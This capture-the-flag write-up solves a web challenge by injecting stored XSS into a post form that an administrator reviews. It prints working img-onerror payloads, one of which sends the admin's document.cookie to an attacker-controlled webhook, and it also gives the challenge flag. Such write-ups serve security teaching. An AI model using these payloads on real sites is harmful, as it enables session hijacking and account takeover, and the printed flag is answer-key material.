



Beginner's Quest :

Written by Maltemo

Government Agriculture Network

Government Agriculture Network

task

web

[+]

Well it seems someone can't keep their work life and their home life separate. You vaguely recall on your home planet, posters put up everywhere that said "Loose Zips sink large commercial properties with a responsibility to the shareholders." You wonder if there is a similar concept here.

Using the credentials to access this so-called Agricultural network, you realize that SarahH was just hired as a vendor or contract worker and given access that was equivalent. You can only assume that Vendor/Contractor is the highest possible rank bestowed upon only the most revered and well regarded individuals of the land and expect information and access to flow like the Xenovian acid streams you used to bathe in as a child.

The portal picture displays that small very attractive individual whom you instantly form a bond with, despite not knowing. You must meet this entity! Converse and convince them you're meant to be! After a brief amount of time the picture shifts into a biped presumably ingesting this creature! HOW DARE THEY. You have to save them, you have to stop this from happening. Get more information about this Gubberment thing and stop this atrocity.

You need to get in closer to save them - you beat on the window, but you need access to the cauliflower's host to rescue it.

<https://govagriculture.web.ctfcompetition.com/>

First things first, we need to visit the website. We click on the given link and we access the web page, which look like this :

Ministry of Agriculture

Admin


Create a new post

Enter your text here...

Submit

New acquisition on our farms

May 15, 2019



So apparently, we can create new posts. Also, as there are images on the website, we can guess that we might be able to add images in the new post.

Let's create a post with just a little comment first :

Create a new post

test

Submit

When we submit, we get this answer :


Your post was submitted for review. Administator will take a look shortly.


We just got a new information : An administrator is checking our messages. So, we might be able to exploit this input with a XSS (Cross Site Scripting) attack. The idea of a XSS is to execute javascript on the administrator browser. We will force the administrator's browser to send us his cookie, in order to usurpate his identity.

Let's check if this attack actually works :

The first step is to create our own api-web-hook to know if the xss payload has been executed.

We will be using this site that hosts for free api-web-hook : <https://beeceptor.com/>

UsageFAQPricingSign in



Rest API mocking and intercepting in seconds.
Replace the endpoint in the code and you are ready. It's that simple!

.free.beeceptor.com

A sub-domain will be created for this endpoint where you can send requests.
Your endpoints: #swagy

Create Endpoint

Use cases

- Build a mock Rest API in a few seconds. Free, No coding required.
- Inspect payloads of any HTTP request (GET, POST, PUT, PATCH, DELETE, etc).
- Customizable responses to simulate API response and failures.
- When load testing your API, do you really need to pass on the load to downstream APIs?
- Simulate latencies, timeouts and slow-responses of downstream APIs (validate rarely reachable code paths)
- A/B testing by switching API endpoints or versions without any redeployment. (prod code vs new code)
- Don't block your UI devs when backend APIs are still in development. Just mock it!
- Create webhook endpoints and simulate responses.

Features

- HTTP request intercepting for debugging and inspecting payload.
- Get named endpoints/sub-domains - easy to replace base URL in your code.
- Proxy Setup: Rule based approach to mock a few calls and hit real API for the rest.
- Capturing HTTP requests in real time.
- Support for CORS & preflight requests (OPTIONS) is out of the box.
- Keep Calm & Get 200 OK.
- All endpoints are HTTPS enabled.

I used the endpoint named « swagy », but you can use whatever you want, you will just need to adapt the URL of the exploit.

#swagy.free.beeceptor.com 2

Rules enabled

https://swagy.free.beeceptor.com → {nowhere}

Mocking Rules (0) Proxy Setup

Looks Awesome!

The following endpoint is all set up. Use it in your code as base URL and send a request. You can inspect these requests here and build rules to mock responses.

<https://swagy.free.beeceptor.com>

For example, run the following command in shell/terminal to get started.

```
curl -v -X GET 'https://swagy.free.beeceptor.com/my/api/path' -H 'some-header: some-value'
```

(or [click here](#) to simulate in web-browser)

Now here is the first XSS exploit, only testing if the XSS worked :

Create a new post

```
<img src=X onerror="window.location='https://swagy.free.beeceptor.com'"/>
```

Submit

Quick explainer for the XSS exploit :

We create an image that hasn't any source (src=X) and we add the listener « onerror » that will be triggered automatically because of the absence of source.

It will run the following javascript payload that redirects the user on our api-web-hook :
window.location='https://swagy.free.beeceptor.com'

Result :

We submit the exploit, and TADA ! We can see on the web-api-hook interface a GET request coming from the admin :

GET /

200

Create Mock

0.0s

Now, the next step is to send us the content of the admin's cookie.

The new exploit is :

Create a new post

```
<img src=X onerror="window.location='https://swagy.free.beeceptor.com?cookie='+document.cookie"/>
```

Quick explainer for the XSS exploit :

The part with the listener is exactly the same.

This time the payload has changed :

In addition of being redirected on our web-api-hook, it will be giving the admin cookie in a GET parameter (here the parameter « cookie », but you can call it whatever you want).

« document.cookie » will give the cookie of the administrator and will be appended at the end of the URL in the cookie GET parameter.

Result :

We send the exploit, and VOILÀ ! We get the flag in the cookie informations.

GET /?cookie=flag=CTF{8aaa2f34b392b415601804c2f5f0f24e};%20session...

200

Create Mock

0.0s

We submit the flag :

Submit the flag for this task

CTF{8aaa2f34b392b415601804c2f5f0f24e} ▶

Correct flag

Solved!

FLAG : CTF{8aaa2f34b392b415601804c2f5f0f24e}